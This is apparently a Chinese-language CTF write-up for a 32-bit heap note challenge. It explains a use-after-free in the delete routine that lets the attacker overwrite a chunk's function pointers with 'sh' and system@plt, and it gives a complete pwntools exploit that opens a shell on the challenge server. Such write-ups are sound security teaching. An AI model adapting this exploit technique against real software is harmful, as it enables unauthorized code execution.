do_new函数:
申请一个0xc大小的chunk,前四个字节存放的是输出函数的地址,中间四个字节存储的是删除函数的地址,最后四个字节,因数据类型的不同而不同
当你选择整数类型,最后四个字节存放的就是一个数字
当你选择文本类型,你就可以向程序请求申请一个一定大小的chunk用于存放文本,而最后四个字节存放的就是这个新的chunk的地址
do_dump函数:
输出内容
do_del函数:
发现free并未将指针置0,再看rec_int_free函数和rec_str_free函数,也没有置0,存在UAF的漏洞
既然这样,很容易想到的是,我们要想办法控制输出函数和删除函数这两个指针,即前两部分的四字节。
针对这个0xc大小的chunk,如果我们把前四个字节的内容改为“sh",中间四个字节改成system函数的地址,那么在执行free时,就能getshell了
注意这里是32位程序,四个字节,所以放不下"/bin/sh",但可以用"sh"
下面想办法控制这两个地方,利用这个UAF漏洞
add1(0,1)
add1(1,2)
add1(2,3)
申请三个存放整数的chunk
delete(0)
delete(1)
依次free掉chunk0和chunk1
现在,chunk1在表头,指向chunk0
system_plt=0x08048500
payload="sh\x00\x00"+p32(system_plt)
add2(3,0xc,payload)
我们向程序申请存储文本,大小也是0xc
这时,首先chunk1会被拿出来,然后,由于大小正好符合,chunk0随后被拿出来作为存储文本的chunk,我们可以随意写入数据
写入sh字符串和system函数地址
delete(0)
由于全局指针在free时,没有被置0,delete(0)时,相当于执行的就是system(“sh”)
完整exp:
from pwn import *
sh=remote("node3.buuoj.cn",26317)
context.log_level='debug'
def add1(index,integer):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(index))
sh.recvuntil("Type > ")
sh.sendline("1")
sh.recvuntil("Value > ")
sh.sendline(str(integer))
def add2(index,size,content):
sh.recvuntil("CNote > ")
sh.sendline("1")
sh.recvuntil("Index > ")
sh.sendline(str(index))
sh.recvuntil("Type > ")
sh.sendline("2")
sh.recvuntil("Length > ")
sh.sendline(str(size))
sh.recvuntil("Value > ")
sh.sendline(content)
def show(index):
sh.recvuntil("CNote > ")
sh.sendline("3")
sh.recvuntil("Index > ")
sh.sendline(str(index))
def delete(index):
sh.recvuntil("CNote > ")
sh.sendline("2")
sh.recvuntil("Index > ")
sh.sendline(str(index))
system_plt=0x08048500
add1(0,1)
add1(1,2)
add1(2,3)
delete(0)
delete(1)
payload="sh\x00\x00"+p32(system_plt)
add2(3,0xc,payload)
delete(0)
sh.interactive()